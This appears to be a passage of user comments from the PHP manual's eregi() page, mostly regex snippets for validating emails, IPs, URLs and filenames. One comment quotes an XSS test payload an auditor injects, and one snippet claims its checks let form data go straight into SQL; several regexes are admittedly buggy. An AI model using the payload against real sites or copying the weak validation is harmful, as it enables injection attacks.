$pattern = "^".$domain.$dir.$trailingslash.$page.$getstring."$";
mbfreight atthe gmail place 03-Jan-2008 02:53
keran at kiwi-interactive dot com wrote (5ish years ago) 07-Mar-2003 08:21

$feedback = "Error: $email isn't a valid mail address!";
return $feedback;
-- and --
$feedback = "Error: $domain isn't a valid domain!";
return $feedback;

I've been crushed with patching up XSS and anytime you get user input, it's best to just not show it back to them if possible. The auditor loves throwing these at me: >"><script>alert(123)</script><"  in the url, in forms, everywhere. Some looking around and you can find and build an amazing testing string.

I have found that using htmlentities($user_input) isn't enough, either. There are a few tricks that can help like
        // from http://us3.php.net/manual/en/function.strip-tags.php
    while($input != strip_tags($input)) {
            $input = strip_tags($input);
        }

In my case, I'm starting off by testing for <[tag]> as well as keyword() and then do some preg_replace ing.
shwetank dot sharma86 at gmail dot com 07-Dec-2007 05:13
we define some notficatio for making the Expression for eregi(exp, string)

so first of all syntax
   [ ]  this brakit  used to define chracters
   eg  [a-z], [0-9]
  { } this brakit used ti define range
  eg  {1,3}
if you wanna to make a expresion which take which take maximum
three digit no
        "^[0-9]{1,3}$"

and if make exp for only three digit no than

       "^[0-9]{3}$"

ok if any problem mail me
c00lways at gmail dot com 10-Mar-2007 06:10
hodsfords:

i love your expression,
and i've came out with a solutions which does not need to set the number of times {1,3} for the domain.
it can accept unlimited number of times, but @ least 1 time .com / .xxx

$exp = "^[a-z0-9]+[a-z0-9\?\.\+-_]*" .
@[a-z0-9_-]+(\.[a-z0-9_-]+)*\.[a-z]+$";
m at tthew dot org dot uk 07-Nov-2006 02:47
This example checks for a valid IP address or CIDR notation address range. (Thanks Walo for just the start I needed.)

The reg exp is too long to post in the code. It is:
^[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}(/[0-9]{1,2}){0,1}$
(substitute for EXPR)

<?php

function checkValidIp($cidr) {

    // Checks for a valid IP address or optionally a cidr notation range
    // e.g. 1.2.3.4 or 1.2.3.0/24

   if(!eregi("EXPR", $cidr)) {
       $return = FALSE;
   } else {
       $return = TRUE;
   }

    if ( $return == TRUE ) {

        $parts = explode("/", $cidr);
        $ip = $parts[0];
        $netmask = $parts[1];
        $octets = explode(".", $ip);

        foreach ( $octets AS $octet ) {
            if ( $octet > 255 ) {
                $return = FALSE;
            }
        }

        if ( ( $netmask != "" ) && ( $netmask > 32 ) ) {
            $return = FALSE;
        }

    }

    return $return;

}

?>
benjohnson{-at-}maine{-dot-}rr{-dot-}com 11-Sep-2006 02:33
It's probably worth noting that eregi() (and most likely, the related variations) appears to have a 255-character limit with respect to the length of the input it will attempt to parse.

If you try to do something like

if (!eregi("^[a-zA-Z0-9]{0,256}$", $text)) { ...

eregi() will return FALSE, irrespective of whether or not the input matches the pattern.
markus dot sipila at no dot spam dot iki dot fi dot invalid 02-Aug-2006 02:29
One more comment about email validation and usability of validators.

The fact that RFC 2822 allows broader set of characters in email addresses than typically used makes things quite challenging usability wise.

A very common usability problem with email validators is that they do not accept all valid addresses (such as foo{bar}.baz!@example.com. Almost as  common problem is that the validator only checks that the syntax is valid and passes addresses like foo#@example.com without any warning. Even though foo#@example.com is syntactically valid it might just as well be a typo of foo@example.com.

I resolved this usability challenge by doing the validation in two phases. In the first phase the address is validated so that it can't include exotic characters like { or |. Most addresses pass this validation.

If they don't, they are validated with the other validator that allows all RFC-compliant addresses. In this case the validator shows a message that the address is syntactically valid but it recommends to double check it for typos.

An example without regexps:
<?php
if (eregi($normal, $email)) {
  echo("The address $email is valid and looks normal.");
}

else if (eregi($validButRare, $email)) {
  echo("The address $email looks a bit strange but it is syntactically valid. You might want to check it for typos.");
}

else {
  echo("The address $email is not valid.");
}
?>

The full article with the regexps and demo can be found at http://www.iki.fi/markus.sipila/pub/emailvalidator.php
tim at rocketry dot org 29-Apr-2006 09:32
The easiest way I've found to validate a properly formed email address is this:

if(!eregi("^[[:alnum:]][a-z0-9_.-]*@[a-z0-9.-]+\.[a-z]{2,4}$", $_POST['EmailAddress'])) {
     echo "<p>Not a valid email address</p>\n";
}

It basically just wants to see some alphanumeric characters + an @ sign + a . + 2 to 4 alpha characters. So far it has done what I need for quite a while now.. Hope that helps someone. :)

Tim
info at stenschke dot com 03-Feb-2006 04:39
i needed a function to find hyperlinks containing a url as text of the hyperlink, exceeding a given maximum length.
here my function to finds too long hyperlinks and insert <br />s where needed into the linktext:

    function breakTooLongLinks($text,$maxLen) {
        //find hyperlinks that contain too many chars & insert <br>s where neccessary
        $pattern= '[>]www[.].*/*(.doc|.pdf|.htm|.html|.shtml|.php|.asp)(</a>|</A>)';
        $match= eregi($pattern, $text, $regs);
        if ($match) {
            foreach ($regs as $link) {
                if (strlen($link)>$maxLen) {
                    $linkParts= explode('/',$link);
                    $linkRepl= array(); $replI=0; $curLinkPart='';
                    foreach($linkParts as $linkPart) {
                        $curLinkPart.= $linkPart.'/';
                        if (strlen($curLinkPart)>$maxLen) {
                            $linkRepl[]= $curLinkPart;
                            $curLinkPart='';
                        }
                    }
                    $linkRepl= implode('<br />',$linkRepl);
                    $text= str_replace($link, $linkRepl, $text);
                }
            }
        }
        return $text;
    }
opedroso at swoptimizer dot com 07-Jan-2006 05:13
I you are trying to match accented characters (e.g. you want to match "Café Olé"), you can use the following regex:

"[a-zà-ü ]+"

This takes advantage of the fact that in the iso-8859-1 "Latin 1", the "à" is the first accented char and the "ü", the last one.

By the way, the regex above will match this string as a single match:

"aeiou àèìòù áéíóú âêîôû ãõ ñ äëïöü ç"

Beware that your local code page may include a few more char codes in the range "[à-ü]", so it may match more than you expect.
Jason Smart knarlin at yahoo dot com dot au 14-Oct-2005 10:28
There seems to be a lot of confusion about escaping special characters within a bracket expression enclosed in []

The reference is the regex man page at http://www.tin.org/bin/man.cgi?section=7&topic=regex , Linked from the "Regular Expression Functions (POSIX Extended)" page in the PHP manual at http://php.planetmirror.com/manual/en/ref.regex.php

The simple rule is there should be no backslash `\' in a bracket expression unless you are matching it literally.
ALL special characters (the few exceptions are listed below), lose their special significance in a bracket expression.
This includes .[$()|*+?{\ all of which have special meaning outside of a bracket expression, inside they will match LITERALLY!

The backslash character can never escape anything in a bracket expression including itself! It is always interpreted literally.

Here are the exceptions

^ at the start of the bracket expression will match on all but the set of characters within the bracket expression

- (hyphen) Indicates range, so [a-z] will match a single character in the range a-z (case insensitive for eregi).
  To match a literal `-' it must be at the start or end of the bracket expression or the end of a range, or enclosed in [. .] to be the start of a range.
  Examples:
  [0-9-]
  [-0-9]
  Both the above will match a single character from the set comprising the digits and hyphen `-'

  [!--] is the same as [!"#$%&'()*+,-]
  i.e. it matches a single character from the range of characters from `!' to hyphen `-'

  [[.-.]-9] is the same as [-./0123456789] or [./0123456789-]
  and will match a single digit from the range of characters from hyphen `-' to digit 9

] The closing bracket indicates the end of a bracket expression but not if it immediately follows the opening bracket `[' or `[^' in that case the closing bracket is matched literally.
  Examples:
  [][0-9] is the same as []0-9[]
  and matches a single character from the set of digits and a literal closing bracket `]' and opening bracket `]'

  [^][0-9] is the same as [^]0-9[]
  and matches a single character from the group of all characters except the set of digits and literal `]' or `['

Look at the regex man page for more on the above and the following special cases

[.characters.]
  A collating element
[=characters=]
  An equivalence class
[:alnum:]
  A character class

That's it for special cases! ALL other characters match literally within a bracket expression and can never be escaped with `\'

Here is a list of some of the postings here that have mistakenly tried to use special characters within a bracket expression.
28-Jan-2002 12:56, 09-Feb-2002 06:28, 24-Sep-2002 01:21, 08-Mar-2003 02:21, 11-Apr-2003 03:22 (uses `|' as if it was `or' it is not, it is a literal `|'), 27-Jun-2003 04:03, 06-Sep-2003 07:17, 20-Apr-2004 04:55, 24-Nov-2004 09:12, 25-Nov-2004 02:11, 06-Jan-2005 08:54, 24-Feb-2005 06:05

It seems people are copying each others mistakes so this needs to be cleared up. Most of the mistakes attempt to escape special characters within a bracket expression with backslash. That never works! A simple fix is to simply remove any backslashes within the bracket expression that are not meant to be matched literally.

The attempt to use | as 'or' within a bracketed expression should be put in parentheses instead.

I used a simple script attached to a form to test these results. Here's the script.
<?php
  if(isset($_POST['pattern']) && isset($_POST['teststring'])) {
    $pattern = stripslashes($_POST['pattern']);
    $teststring = stripslashes($_POST['teststring']);
    $match = ereg($pattern, $teststring, $regs);
    if(!$match) $match = 0;
    echo('<p>The regular expression is: '.$pattern.'</p>');
    echo('<p>The string for testing is: '.$teststring.'</p>');
    echo('<p>The number of matching characters is: '.$match.'</p>');
  }
?>
Just use a form with input fields named "pattern" and "teststring"

Hope this helps and clears up some misconceptions
Jason Smart
Monash University Student
manuel at cvam dot com dot ar 27-Jul-2005 03:47
Please note that event though email pattern submitted by bobocop at bobocop dot cz below is RFC compliant, actual domain names are not!

They do start with numbers (as in 1800flowers.com, etc), so the second line, domain, should be:
<?php
$domain = '([a-z0-9]([-a-z0-9]*[a-z0-9]+)?)';
?>
(everything else just like bobocop's comment from 02-May-2005 11:09)
somebody at somewhere dot com 09-May-2005 09:35
Say you want to validate a random sized string (at least one character though), and make sure it DOESN't contains anything BUT these characters: [:space:]a-zA-Z0-9_.-

function valid_name($name)
{

   // return FALSE if it contains characters which
   // which ARNT on the specified list
   if(ereg('[^[:space:]a-zA-Z0-9_.-]{1,}', $name))
   {
      return false;
   }
   else
   {
      return true;
   }

}
bobocop at bobocop dot cz 02-May-2005 08:09
<?php
// Completely update for match RFC 2822 and RFC 1035
// http://www.faqs.org/rfcs/rfc2822.html
// http://www.faqs.org/rfcs/rfc1035.html

// Example results:

$email[] = 'foo@example.com';                      // matched
$email[] = 'foo.bar@example.co.uk';                // matched
$email[] = 'foo_bar@example.com';                  // matched
$email[] = '_foo_bar@example.com';                 // matched
$email[] = 'foo@example.example';                  // matched
$email[] = '%#a+f.*&654_-._@ee.xx';                // matched
$email[] = 'foo@abc-123.xx';                       // matched
$email[] = 'a@a.a.a.a.aa';                         // matched
$email[] = 'a@a9.aa';                              // matched
$email[] = 'a!b#c$d%e^f&g*h\'i+j-k{l|m}n_/@op.qr'; //matched

$email[] = '';                                     //separator

$email[] = 'foo@-example.com';                     // not matched
$email[] = 'foo@example-.com';                     // not matched
$email[] = '%#af.*&@a%#b.xx';                      // not matched
$email[] = 'a@a.99.00.a.aa';                       // not matched
$email[] = '_-._@-.--';                            // not matched
$email[] = 'any..thing@bla.bla';                   // not matched
$email[] = '@.';                                   // not matched
$email[] = '@.com';                                // not matched
$email[] = '@exam@exam.com';                       // not matched
$email[] = ' @ .com';                              // not matched
$email[] = '.bar@example.com';                     // not matched
$email[] = 'foo.@example.com';                     // not matched
$email[] = 'foo@example.x';                        // not matched

$atom = '[-a-z0-9!#$%&\'*+/=?^_`{|}~]';    // allowed characters for part before "at" character
$domain = '([a-z]([-a-z0-9]*[a-z0-9]+)?)'; // allowed characters for part after "at" character

$regex = '^' . $atom . '+' .         // One or more atom characters.
'(\.' . $atom . '+)*'.               // Followed by zero or more dot separated sets of one or more atom characters.
'@'.                                 // Followed by an "at" character.
'(' . $domain . '{1,63}\.)+'.        // Followed by one or max 63 domain characters (dot separated).
$domain . '{2,63}'.                  // Must be followed by one set consisting a period of two
'$';                                 // or max 63 domain characters.

foreach ($email as $example) {
    if (strlen($example) == 0):
        echo '&nbsp;<br>';
    else:
      if (eregi($regex, $example)):
       echo $example . ' matched<br>';
      else:
       echo '<strong>'. $example . ' not matched</strong><br>';
      endif;
    endif;
}
?>
Sergio Santana: ssantana at tlaloc dot imta dot mx 01-Mar-2005 04:32
Sometimes we require checking the syntax of
floating point numbers. Here is a php-code that
performs this task.

// To call this program:
//   php floats.php
//--------------------------
// Example of the use of regular expressions for checking
// the syntax of floating point numbers.
<?php
// This opens standard in ready for interactive input..
$STDIN = fopen("php://stdin","r");

for(;;) { // FOREVER-LOOP
  echo "Float>";
  $s = trim(fgets($STDIN,256));
  if ($s) {
    $le =
      eregi(
       "-?(([0-9]+e-?[0-9]+)|((([0-9]+\.[0-9]*)|(\.[0-9]+))" .
       "(e-?[0-9]+)?))",
         $s, $regs);
    if ($le==strlen($s))
      echo "Yes it's float\n";
    else if ($le > 0)
      echo "$le chars of the string correspond to a float\n";
    else
      echo "No, it isn't float\n";
  }
  else
    break;
}

fclose($STDIN);

?>
krum at estnet dot bg 23-Feb-2005 12:05
I was searching for a fast way to check all fields of a form, so I can
include the $_POST information directly to the sql query. So I wrote
another script in my class in order to check the submitted data. So here it
is:
<?
function check_post () {
 foreach ($_POST as $key => $val) {
  $$key = $val;
 }
 $data = Array();
 $data["^[a-z0-9!@#$%^&*]"] = Array ("first_name", "last_name",
 "nick", "pass", "description", "user", "message", "event", "name", "title",
 "text");
 $data['^[-!#$%&\'*+\\./0-9=?A-Z^_`a-z{|}~]+'
.'@'.'[-!#$%&\'*+\\/0-9=?A-Z^_`a-z{|}~]+\.'
.'[-!#$%&\'*+\\./0-9=?A-Z^_`a-z{|}~]+$'] = Array("mail");
 $data["^[0-9]{1,4}"] = Array("day", "month", "owner", "type", "forum_id", "topic_id");
 foreach ($data as $key => $val) {
  foreach ($val as $k => $c) {
   if ( isset($$c) ) {
    if ( !eregi($key, $$c) ) {
     echo "You have used an not allowed character in " .$$c. " field\n";
     exit;
    }
   }
  }
 }
}
?>
I hope it will help someone ^_^
sven.heinicke.org 03-Feb-2005 11:49
The  gethostbyname($regs[2]) == $regs[2] is a bad idea.  Some domain names have a MX record but not an IP number.  The first example I found is jhu.edu domain:

sven@chef:~$ host jhu.edu
jhu.edu A record currently not present
sven@chef:~$ host -t mx jhu.edu
jhu.edu                 MX      10 smtp.johnshopkins.edu
selman17@yahoo com 24-Nov-2004 08:11
<?php

$iletisim="selman17@yahoo.com http://www.yahoo.com selman@yahoo.com";

$ilet=explode(" ",$iletisim);
$iletisim="";
for($i=0;$i<sizeof($ilet);$i++){

if(eregi("^.[a-zA-Z0-9_.\.-]+@[a-z0-9_]+\\.[a-z]+",$ilet[$i])){
$ilet[$i]= str_replace("$ilet[$i]","<a href='mailto:$ilet[$i]'>$ilet[$i]</a><br>",$ilet[$i]);
}
if(eregi("http://.[a-zA-Z0-9_.\.-]",$ilet[$i])){
$ilet[$i]= str_replace("$ilet[$i]","<a href='$ilet[$i]' target='_blank'>$ilet[$i]</a><br>",$ilet[$i]);
}
$iletisim .=$ilet[$i];
}
/* this will out put
<a href="mailto:selman17@yahoo.com">selman17@yahoo.com</a><br>
<a href="http://www.yahoo.com" target="_blank">http://www.yahoo.com</a><br>
<a href="mailto:selman@yahoo.com">selman17@yahoo.com</a>
*/
?>
cristian81 AT katamail DOT com 24-Nov-2004 03:12
The same "checkipaddress" function posted by "lueck at gerwan dot de", with the add of an optional jolly char suport. Returns TRUE or FALSE

Results:

check_ip_address('125.32.15.0') is TRUE
check_ip_address('125.32.15.*') is FALSE
check_ip_address('125.32.15.*', '*') is TRUE
check_ip_address('*.*.*.*', '*') is TRUE
check_ip_address('125.-.15.2', '-') is TRUE

<?php
function check_ip_address($checkip, $jolly_char='') {
    if ($jolly_char=='.')        // dot ins't allowed as jolly char
        $jolly_char = '';

    if ($jolly_char!='') {
        $checkip = str_replace($jolly_char, '*', $checkip);        // replace the jolly char with an asterisc
        $my_reg_expr = "^[0-9\*]{1,3}\.[0-9\*]{1,3}\.[0-9\*]{1,3}\.[0-9\*]{1,3}$";
        $jolly_char = '*';
    }
    else
        $my_reg_expr = "^[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}$";

    if (eregi($my_reg_expr, $checkip)) {
        for ($i = 1; $i <= 3; $i++) {
            if (!(substr($checkip, 0, strpos($checkip, ".")) >= "0" && substr($checkip, 0, strpos($checkip, ".")) <= "255")) {
                if ($jolly_char!='') {            // if exists, check for the jolly char
                    if (substr($checkip, 0, strpos($checkip, "."))!=$jolly_char)
                        return false;
                }
                else
                    return false;
            }

            $checkip = substr($checkip, strpos($checkip, ".") + 1);
        }

        if (!($checkip >= "0" && $checkip <= "255")) {        // class D
            if ($jolly_char!='') {            // if exists, check for the jolly char
                if ($checkip!=$jolly_char)
                    return false;
            }
            else
                return false;
        }
    }
    else
        return false;

    return true;
}
?>
ian at hyperborea dot co dot uk 10-Nov-2004 03:15
I was looking for something to validate a URL, and as usual turned to 'php.net' as it provides an invaluable source of information. I couldn't find exactly what I wanted so came up with something of my own which I hope will be of use to others.

<?php
function validateURL($URL) {
    $domain = "([[:alpha:]][-[:alnum:]]*[[:alnum:]])
(\.[[:alpha:]][-[:alnum:]]*[[:alpha:]])+";
    $dir = "(/[[:alpha:]][-[:alnum:]]*[[:alnum:]])*";
    $page = "(/[[:alpha:]][-[:alnum:]]*\.[[:alpha:]]{3,5})?";
    $getstring = "(\?([[:alnum:]][-_%[:alnum:]]*=[-_%[:alnum:]]+)
(&([[:alnum:]][-_%[:alnum:]]*=[-_%[:alnum:]]+))*)?";
    $pattern = "^".$domain.$dir.$page.$getstring."$";
    return eregi($pattern, $URL);
}
?>
Be sure to enter each pattern on a single line.

The function accepts a URL and validates the domain, directory path, page and any GET parameters. You can see I have split the patterns for validating each section for easier reading and maintaining.

Domain Name:
This can be made of of many parts each seperated by a '.' (dot). each part must start with an alpha char. followed by any alphanumeric chars., or '-'. With the exception of the first part each part must end in an alpha char..

e.g. www.google.co.uk and www9.g-88gle.co.uk are valid, but 9ww.google.3o.uk and www.google4.co.uk3 are not.

Directory Path:
Each directory must start with a '/' followed by an alpha char., then any alpha numeric char., or '-', and ending in an alphanumeric char.

e.g. /path1/to-page is valid, but /path1-/2-page is not.

Page:
This is like the directory path but it must end with a '.' (dot) followed by 3-5 alpha chars.

e.g. /phpinfo.php and /page.shtml are valid, but /phpinfo.php4 and /pageshtml are not.

Get String:
This follows the page and begins with a '?'. This is then followed by key/value pairs each seperated by an '&'.

e.g. ?key1=value1&key2=value2

Each key, or value must start and end with an alpahnumeric char. I have allowed for a '%' to be specified for URL encoded chars., and also '_' (underscore) is allowed.

Well thats it hope it is of some use. It is NOT perfect, for instance in the 'getstring' I would like to ensure that encoded characters (i.e. %20) consist of a % symbol followed by two characters with values '0-9A-F' but couldn't get anything I tried to work.
I would welcome any suggestions or improvements, there are bound to be some.

Note: The patterns are based on an earlier post by 'fusillo at NOSPAM dot netgang dot it' for matching domain names. Thanks to him.
gabriel at gabrielharrison co uk 01-Nov-2004 04:19
There is a bug in the regex that means it doesn't work with a domain suffex that has two parts eg: .co.uk
I'm not good enough with regexs to sort this - sorry.

There can also be a problem if the domain doesn't have a domain entry without the www. subdomain. To solve this modify the code with:

elseif( gethostbyname($regs[2]) == $regs[2] ||
gethostbyname('www' . $regs[2]) == 'www' . $regs[2])
chadkeffer at mail dot com 01-Jul-2004 04:42
There's seems to be some confusion on just what is allowed in an email address and thus how to build your regular expression.  RFC 2822 replaced RFC 822 over 3 years ago, so make sure you're referencing the correct RFC.  Also, don't assume all servers comply with the RFC.
gullevek at gullevek dot org 23-Jun-2004 01:58
for the comment from 'joseph dot ragsdale at xconduit dot com'

The regex has one bug thought. It elminates <user>@jp.t.ne.jp addresses which are completly valid as it needs at least 2 chars in the domain part.

This regex fixes it:

^[_a-z0-9-]+(\.[_a-z0-9-]+)*
@[a-z0-9-]+(\.[a-z0-9-]{1,})*\.([a-z]{2,}){1}$

[but the regex in one line]
kidproto at hotmail dot com 19-Apr-2004 11:55
"^[a-zA-Z0-9_\-]+(:?\.svg|\.wmf|\.zip|\.tar\.gz|\.tgz)$"

That is the proper file check for a well formatted beginning and ending filename for those select files. The one in this list is incorrect for at least php 4.3.0 which is what I'm using.

The (:?) makes sure that the parentheses aren't used for storing the matched regex.
fusillo at NOSPAM dot netgang dot it 03-Jan-2004 02:24
This is a simple function that uses eregi() function to validate a domain name (according to the RFC 1034).

function check_host($host) {
if (
   eregi("^[[:alpha:]]+([-[:digit:][:alpha:]]*
          [[:digit:][:alpha:]])*(\.[[:alpha:]]+
          ([-[:digit:][:alpha:]]*[[:digit:][:alpha:]])*)
          *$",$host)
  ) {
       return 1;
    } else return 0;
};

NOTE: This expression must be written on a single line to work
I had to brake it on separate lines to post on the site.

Returns 1 if $host is an RFC compliant domain name else returns 0.

This function is part of the code of blackboxed linux distribution coming on your screen late genuary.

-fusillo-
alexm(_A_T_)factory7.com 11-Dec-2003 12:30
A little interesting and hopefully on topic point I found while browsing the internet at: http://www.clemburg.com/x1713.html#AEN1717

According to RFC 822 (see http://www.rfc-editor.org/), email addresses
are case-sensitive in the part before the "@" sign, except for the
special address "POSTMASTER", which is not case-sensitive. The part
after the "@" sign is a host name, and is not case-sensitive.

Note that many organizations will implement an aliasing facility that
recognizes alternative forms for an email address (e.g., providing
"John.Doe@my.organization.com", "john.doe@my.organization.com",
"doe@my.organization.com", "Doe@my.organization.com" etc.). However,
this is not required by the standard as specified in RFC 822.

so you may want to keep that in mind....
i.e. breakup the username/alias (ereg) and domain (eregi) parts of the email
joseph dot ragsdale at xconduit dot com 06-Nov-2003 02:31
I'm posting this as a - hopefully - helpful example to those who are learning regular expressions. Apologies to the documentation team and moderators for posting yet another email address validation example, but it's hard to argue against it as most everyone will see regular expressions as being a solution to this problem.

<?php
// Example results:

$email[] = 'foo@example.com';       // matched
$email[] = 'foo.bar@example.co.uk'; // matched
$email[] = 'foo_bar@example.com';   // matched
$email[] = '_foo_bar@example.com';  // matched
$email[] = 'foo@example.example';   // matched
$email[] = '_-._@-.--';             // matched

$email[] = '@.';               // not matched
$email[] = '@.com';            // not matched
$email[] = ' @ .com';          // not matched
$email[] = '.bar@example.com'; // not matched
$email[] = 'foo.@example.com'; // not matched
$email[] = 'foo@example.x.y';  // not matched

$regex =
  '^'.
  '[_a-z0-9-]+'.        /* One or more underscore, alphanumeric,
                           or hyphen charactures. */
  '(\.[_a-z0-9-]+)*'.   /* Followed by zero or more sets consisting
                           of a period and one or more underscore,
                           alphanumeric, or hyphen charactures. */
  '@'.                  /* Followed by an "at" characture. */
  '[a-z0-9-]+'.         /* Followed by one or more alphanumeric
                           or hyphen charactures. */
  '(\.[a-z0-9-]{2,})+'. /* Followed by one or more sets consisting
                           of a period and two or more alphanumeric
                           or hyphen charactures. */
  '$';

foreach ($email as $example) {
  if (eregi($regex, $example)) {
    echo $example . ' matched<br>';
  } else {
    echo $example . ' not matched<br>';
  }
}
?>
banerian at u dot washington dot edu 16-Sep-2003 06:55
It should be noted that in the function validateEmail, the final verification relies on the mail server responding to the test $email with a reply code of 250.   Nowadays, many/most/all servers will reply 250/Ok for any  user@thier.domain regardless of whether or not the userid actually exists.  mail servers tend to accept the mail (if it passes other checks), and if the user really does not exist, it just "bounces" the mail back to sender.  thus the validateEmail function can give false positives...an unfortunate victim of having to deal with spam.
Hodfords 06-Sep-2003 02:17
Most of the Ereg functions for emails that I have seen do not
work for emails like :-

joe@something.co..uk

And emails such as
joe@something.co.uk+1234

This eregi which we put together, I think works, it should be just one line, but php.net did not let us submit, because it said that even after using wordwrap() the line was too long :-

$ereg_string =
"^[\'+\\./0-9A-Z^_\`a-z{|}~\-]+@
[a-zA-Z0-9_\-]+(\.[a-zA-Z0-9_\-]+){1,3}$";

Adjust the number "3" right at the end to whatever number
you want.

A long domain name such as "@finance.uk.yahoo.co.uk" which
has 5 parts will require the number to be higher.
tomi at vacilando dot net 26-Jun-2003 11:03
Keran's solution is a good one but I found it does not work for a small number of domains -- because of a bug in gethostbyname() that causes some valid domains not to resolve properly. The workaround is to test such domains with "www." added to the beginning. This script does all that and works perfectly for me. Enjoy!

// Function to validate emails.
function validate_email($email_raw)
    {
    // replace any ' ' and \n in the email
    $email_nr = eregi_replace("\n", "", $email_raw);
    $email = eregi_replace(" +", "", $email_nr);
    $email = strtolower( $email );
    // do the eregi to look for bad characters
    if( !eregi("^[a-z0-9]+([_\\.-][a-z0-9]+)*". "@([a-z0-9]+([\.-][a-z0-9]+))*$",$email) ){
      // okay not a good email
      $feedback = 'Error: "' . $email . '" is not a valid e-mail address!';
      return $feedback;
      } else {
      // okay now check the domain
      // split the email at the @ and check what's left
      $item = explode("@", $email);
      $domain = $item["1"];
      if ( ( gethostbyname($domain) == $domain ) )
        {
          if ( gethostbyname("www." . $domain) == "www." . $domain )
             {
               $feedback = 'Error: "' . $domain . '" is most probably not a valid domain!';
               return $feedback;
             }
        // ?
           $feedback = "valid";
           return $feedback;
        } else {
        $feedback = "valid";
        return $feedback;
        }
      }
    }
steve at brainwashstudios dot com 10-Apr-2003 10:22
why not match some filenames?

if (!ereg("^[a-ZA-Z0-9]+[/.gif|/.jpg|/.png]$",$match){
 echo "Invalid Filename";
}else{
 if (file_exists($match)){
  echo "blah";
 }
}

I suppose that would work off the top of my head but I have yet to test it, so you may want to check it first.
keran at kiwi-interactive dot com 07-Mar-2003 08:21
I couldn't get any of the email validation items above to actually work (maybe I'm thick) :)

So I adapted a couple and came up with this, and it seems to work

// function to validate email
function validate_email($email_raw) {

    // replace any ' ' and \n in the email
    $email_nr = eregi_replace("\n", "", $email_raw);
    $email = eregi_replace(" +", "", $email_nr);

    // do the ergei to look for bad characters
  if( !eregi("^[a-z0-9]+([_\\.-][a-z0-9]+)*".
"@([a-z0-9]+([\.-][a-z0-9]+))*$",$email) ){
    // okay not a good email
    $feedback = "Error: $email isn't a valid mail address!";
    return $feedback;
    } else {
        // okay now check the domain
        // split the email at the @ and check what's left
        $item = explode("@", $email);
        $domain = $item["1"];
        if( gethostbyname($domain) == $domain) {
            $feedback = "Error: $domain isn't a valid domain!";
            return $feedback;
        } else {
            $feedback = "valid";
            return $feedback;
        }
    }

}
slavo at polovnictvo-mn dot sk 19-Feb-2003 05:30
This is what I found (by Jon S. Stevens jon@clearink.com with
Copyright 1998 Jon S. Stevens, Clear Ink)

function validateEmail ($email){
   global $SERVER_NAME;
   $return = array(false,  "" );
   list ($user, $domain) = split( "@", $email, 2);
   $arr = explode( ".", $domain);
   $count = count ($arr);
   $tld = $arr[$count - 2] .  "." . $arr[$count - 1];
   if(checkdnsrr($tld,  "MX")) {
      if(getmxrr($tld, $mxhosts, $weight)) {
         for($i = 0; $i < count($mxhosts); $i++){
               $fp = fsockopen($mxhosts[$i], 25);
            if ($fp){
               $s = 0;
               $c = 0;
               $out =  "";
               set_socket_blocking($fp, false);
               do {
                  $out = fgets($fp, 2500);
                  if(ereg( "^220", $out)){
                           $s = 0;
                     $out =  "";
                     $c++;
                  }
                  else if(($c > 0) && ($out ==  "")){
                     break;
                  }
                  else {
                     $s++;
                  }
                  if($s == 9999) {
                     break;
                  }
               } while($out ==  "");
               set_socket_blocking($fp, true);
               fputs($fp,  "HELO $SERVER_NAME\n");
               $output = fgets ($fp, 2000);
               fputs($fp,  "MAIL FROM: <info@" . $tld .  ">\n" );
               $output = fgets($fp, 2000);
               fputs($fp,  "RCPT TO: <$email>\n");
               $output = fgets($fp, 2000);
               if(ereg(  "^250", $output )) {
                  $return[0] = true;
               }
               else {
                  $return[0] = false;
                  $return[1] = $output;
               }
               fputs ($fp,  "QUIT\n");
               fclose($fp);
               if($return[0] == true){
                  break;
               }
            }
         }
      }
   }
   return $return;
}

----
hope it helps you...
webmaster at textedit dot co dot uk 19-Jan-2003 11:03
I notice a lot of queries involving regular expressions and is_float() regarding currency validation.

If you have a version of php that uses the std C ctype.h functions then it will ALWAYS work with the following code.

function check_price($price)
{
$data=split('[.]',$price);

    if ( count($data) != 2 )
        return "false";

    if ( ctype_digit($data[0]) && ctype_digit($data[1]) && $data[0][0] != '0')
        return "true";
    else
          return "false";
}

Peter Lorimer

http:www.textedit.co.uk
webmaster@textedit.co.uk
X-Istence.com 17-Jan-2003 06:48
To check email, i use the following code:

if (!eregi ("^([a-z0-9_]|\\-|\\.)+@(([a-z0-9_]|\\-)+\\.)+[a-z]{2,4}$", $email) {
echo "Invalid Email Adress";
}
else {
echo "Valid Email Adress";
}
respectthepinguin at yahoo dot com 03-Jan-2003 11:30
validating an email can be pretty tough... however this....
^([[:alnum]]|_|\.|-)+@([[:alnum]]|\.|-)+(\.)([a-z]{2,4})$
makes this task much easier. (:)
BKDotCom at hotmail dot com 30-Sep-2002 11:56
in regards to using gethostbyname() to validate email addresses:
Large flaw:
Doesn't work if the host has a NS & MX record, but no A record.
mark dot edwards dot no dot spam at rayconNOSPAM dot com dot au 23-Sep-2002 08:21
The apostrophe is an allowable character in the username of an email address.

The regex I use for this is:
^[a-z\'0-9]+([._-][a-z\'0-9]+)*@([a-z0-9]+([._-][a-z0-9]+))+$

Escaping the apostrophe unfortunately allows users to put a backslash in their username and the regex will not complain.

Better I feel to allow some errors through than to deny legitimate addresses.
henrik jensen<hj at this_netwerk dot dk> 27-Jul-2002 10:05
Looking for at regex to check if a file is an image file, this seems to work?

Note: it does not check for illegeal filesystem names - it only looks at the filename extension.

if (eregi ("(.)+\\.(jp(e){0,1}g$|gif$|png$)",$filename)){
    // This is an imagefile
}

[ remove this_ from emailaddress ]
trosho at vip dot bg 09-Jun-2002 04:47
Please note that eregi() is case sensitive if you use cyrillic chars
re at lloc dot de 06-Mar-2002 07:36
An additional note to one of these
expressions above: I use

"^[a-z0-9]+([_.-][a-z0-9]+)*@([a-z0-9]
+([.-][a-z0-9]+)*)+\\.[a-z]{2,4}$"
tuxx at tuxx-home dot at 27-Feb-2002 03:11
A small note to one of these expressions above:
Inside a character class ([...]) one does not need to escape the fullstop, therefore

[-\\._]

would become

[-._]
steve at fish2find dot co dot uk 26-Feb-2002 07:40
hope this helps with some validation problems, simple text validation:
            //$firstname = "somename"; // valid
    or  //$firstname = "somenam3"; // not valid

            //lets validate a field entry & trim off any white spaces
            $firstname = trim($firstname);

        //set lenght of the field to a max 12 characters
            $len = "0,12";
            $field = $firstname;

            //call function
            if (is_valid($field, $len)){

            //if field entry valid then set
            $valid_firstname = $field;
            //set record to yes
            $valid_record = "TRUE";
                  echo "$field is a valid name";
